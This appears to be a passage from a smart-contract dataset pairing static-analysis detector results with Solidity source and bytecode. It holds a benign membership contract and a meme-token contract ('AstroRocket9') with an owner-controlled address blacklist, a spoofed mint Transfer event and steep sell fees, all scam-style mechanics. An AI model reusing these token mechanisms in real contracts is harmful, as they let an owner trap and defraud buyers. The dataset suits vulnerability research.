{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,058
0x8415d6b05553286709DE5A11B15f92D58250a435
// SPDX-License-Identifier: MIT pragma solidity 0.8.3; // Part: MembersInterface interface MembersInterface { function setCustodian(address _custodian) external returns (bool); function addBroker(address broker) external returns (bool); function removeBroker(address broker) external returns (bool); function isCustodian(address addr) external view returns (bool); function isBroker(address addr) external view returns (bool); } // Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Context /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // Part: OpenZeppelin/openzeppelin-contracts@4.1.0/EnumerableSet /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // Part: OpenZeppelin/openzeppelin-contracts@4.1.0/Ownable /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: Members.sol contract Members is MembersInterface, Ownable { address public custodian; using EnumerableSet for EnumerableSet.AddressSet; EnumerableSet.AddressSet internal brokers; constructor(address _owner) public { require(_owner != address(0), "invalid _owner address"); transferOwnership(_owner); } event CustodianSet(address indexed custodian); function setCustodian(address _custodian) external override onlyOwner returns (bool) { require(_custodian != address(0), "invalid custodian address"); custodian = _custodian; emit CustodianSet(_custodian); return true; } event BrokerAdd(address indexed broker); function addBroker(address broker) external override onlyOwner returns (bool) { require(broker != address(0), "invalid broker address"); require(brokers.add(broker), "broker add failed"); emit BrokerAdd(broker); return true; } event BrokerRemove(address indexed broker); function removeBroker(address broker) external override onlyOwner returns (bool) { require(broker != address(0), "invalid broker address"); require(brokers.remove(broker), "broker remove failed"); emit BrokerRemove(broker); return true; } function isCustodian(address addr) external override view returns (bool) { return (addr == custodian); } function isBroker(address addr) external override view returns (bool) { return brokers.contains(addr); } function getBroker(uint index) external view returns (address) { return brokers.at(index); } function getBrokersCount() external view returns (uint) { return brokers.length(); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c8063416a5d8111610071578063416a5d8114610149578063715018a61461015f578063836cae65146101695780638da5cb5b1461017c578063d99d6f9a1461018d578063f2fde38b146101a0576100a9565b80630257f38d146100ae57806322b31d9f146100de57806335c80c8c14610101578063375b74c314610123578063403f373114610136575b600080fd5b6100c16100bc3660046108aa565b6101b3565b6040516001600160a01b0390911681526020015b60405180910390f35b6100f16100ec366004610883565b6101c6565b60405190151581526020016100d5565b6100f161010f366004610883565b6001546001600160a01b0390811691161490565b6001546100c1906001600160a01b031681565b6100f1610144366004610883565b6101d3565b6101516102ac565b6040519081526020016100d5565b6101676102bd565b005b6100f1610177366004610883565b610331565b6000546001600160a01b03166100c1565b6100f161019b366004610883565b610432565b6101676101ae366004610883565b610536565b60006101c0600283610620565b92915050565b60006101c0600283610633565b600080546001600160a01b031633146102075760405162461bcd60e51b81526004016101fe906108c2565b60405180910390fd5b6001600160a01b03821661025d5760405162461bcd60e51b815260206004820152601960248201527f696e76616c696420637573746f6469616e20616464726573730000000000000060448201526064016101fe565b600180546001600160a01b0319166001600160a01b0384169081179091556040517fb88c20a211c5d7677ba2a26c317d8ae6b25aa492016dc8ceca2469761d063d8090600090a2506001919050565b60006102b86002610655565b905090565b6000546001600160a01b031633146102e75760405162461bcd60e51b81526004016101fe906108c2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600080546001600160a01b0316331461035c5760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0382166103ab5760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642062726f6b6572206164647265737360501b60448201526064016101fe565b6103b660028361065f565b6103f65760405162461bcd60e51b8152602060048201526011602482015270189c9bdad95c881859190819985a5b1959607a1b60448201526064016101fe565b6040516001600160a01b038316907f596fedda579f1f112db492a84dd35c6770886843b38385b17af2e007af1e04fb90600090a2506001919050565b600080546001600160a01b0316331461045d5760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0382166104ac5760405162461bcd60e51b8152602060048201526016602482015275696e76616c69642062726f6b6572206164647265737360501b60448201526064016101fe565b6104b7600283610674565b6104fa5760405162461bcd60e51b8152602060048201526014602482015273189c9bdad95c881c995b5bdd994819985a5b195960621b60448201526064016101fe565b6040516001600160a01b038316907f43c8cbfc72fcbcb9893729c9fc93a10e975730f59577494485111df43ff0f57490600090a2506001919050565b6000546001600160a01b031633146105605760405162461bcd60e51b81526004016101fe906108c2565b6001600160a01b0381166105c55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016101fe565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b600061062c8383610689565b9392505050565b6001600160a01b0381166000908152600183016020526040812054151561062c565b60006101c0825490565b600061062c836001600160a01b03841661071d565b600061062c836001600160a01b03841661076c565b815460009082106106e75760405162461bcd60e51b815260206004820152602260248201527f456e756d657261626c655365743a20696e646578206f7574206f6620626f756e604482015261647360f01b60648201526084016101fe565b82600001828154811061070a57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b6000818152600183016020526040812054610764575081546001818101845560008481526020808220909301849055845484825282860190935260409020919091556101c0565b5060006101c0565b600081815260018301602052604081205480156108795760006107906001836108f7565b85549091506000906107a4906001906108f7565b905060008660000182815481106107cb57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050808760000184815481106107fc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101929092558281526001890190915260409020849055865487908061083d57634e487b7160e01b600052603160045260246000fd5b600190038181906000526020600020016000905590558660010160008781526020019081526020016000206000905560019450505050506101c0565b60009150506101c0565b600060208284031215610894578081fd5b81356001600160a01b038116811461062c578182fd5b6000602082840312156108bb578081fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008282101561091557634e487b7160e01b81526011600452602481fd5b50039056fea2646970667358221220b00998544b3515759f42ef144fff3c5bb7c796f8a62cff956864b7fc8f85e4ce64736f6c63430008030033
{"success": true, "error": null, "results": {}}
10,059
0x604a288b0353d7dd42695752290e2d5af95cbf4b
/** *Submitted for verification at Etherscan.io on 2021-07-05 */ /** *Submitted for verification at Etherscan.io on */ /** *Submitted for verification at */ /** *Submitted for verification */ /** .d888888 dP 888888ba dP dP .d888b. d8' 88 88 88 `8b 88 88 Y8' `88 88aaaaa88a .d8888b. d8888P 88d888b. .d8888b. a88aaaa8P' .d8888b. .d8888b. 88 .dP .d8888b. d8888P `8bad88 88 88 Y8ooooo. 88 88' `88 88' `88 88 `8b. 88' `88 88' `"" 88888" 88ooood8 88 `88 88 88 88 88 88 88. .88 88 88 88. .88 88. ... 88 `8b. 88. ... 88 d. .88 88 88 `88888P' dP dP `88888P' dP dP `88888P' `88888P' dP `YP `88888P' dP `8888P *Submitted for verification at */ // Welcome to the new rocket token of the eth network: astro rocket, designed to only go up! // Telegram: https://t.me/AstroRocket9 // Website: www.AstroRocket9.xyz // Please set a 20%+ Slippage // Liquidity will be locked // Ownership will be renounced // Manual buybacks // Fair Launch // Anti Bot measures // Let's go to the moon !! pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract AstroRocket9 is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "AstroRocket9"; string private constant _symbol = "AstroRocket9"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ddd565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612923565b61045e565b6040516101789190612dc2565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f5f565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906128d4565b610490565b6040516101e09190612dc2565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612846565b610569565b005b34801561021e57600080fd5b50610227610659565b6040516102349190612fd4565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f91906129a0565b610662565b005b34801561027257600080fd5b5061027b610714565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612846565b610786565b6040516102b19190612f5f565b60405180910390f35b3480156102c657600080fd5b506102cf6107d7565b005b3480156102dd57600080fd5b506102e661092a565b6040516102f39190612cf4565b60405180910390f35b34801561030857600080fd5b50610311610953565b60405161031e9190612ddd565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612923565b610990565b60405161035b9190612dc2565b60405180910390f35b34801561037057600080fd5b5061038b6004803603810190610386919061295f565b6109ae565b005b34801561039957600080fd5b506103a2610afe565b005b3480156103b057600080fd5b506103b9610b78565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129f2565b6110da565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612898565b611226565b6040516104189190612f5f565b60405180910390f35b60606040518060400160405280600c81526020017f417374726f526f636b6574390000000000000000000000000000000000000000815250905090565b600061047261046b6112ad565b84846112b5565b6001905092915050565b60006b033b2e3c9fd0803ce8000000905090565b600061049d848484611480565b61055e846104a96112ad565b6105598560405180606001604052806028815260200161366f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050f6112ad565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b389092919063ffffffff16565b6112b5565b600190509392505050565b6105716112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f590612ebf565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006012905090565b61066a6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ee90612ebf565b60405180910390fd5b80601160176101000a81548160ff02191690831515021790555050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107556112ad565b73ffffffffffffffffffffffffffffffffffffffff161461077557600080fd5b600047905061078381611b9c565b50565b60006107d0600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c97565b9050919050565b6107df6112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086390612ebf565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f417374726f526f636b6574390000000000000000000000000000000000000000815250905090565b60006109a461099d6112ad565b8484611480565b6001905092915050565b6109b66112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3a90612ebf565b60405180910390fd5b60005b8151811015610afa57600160066000848481518110610a8e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af2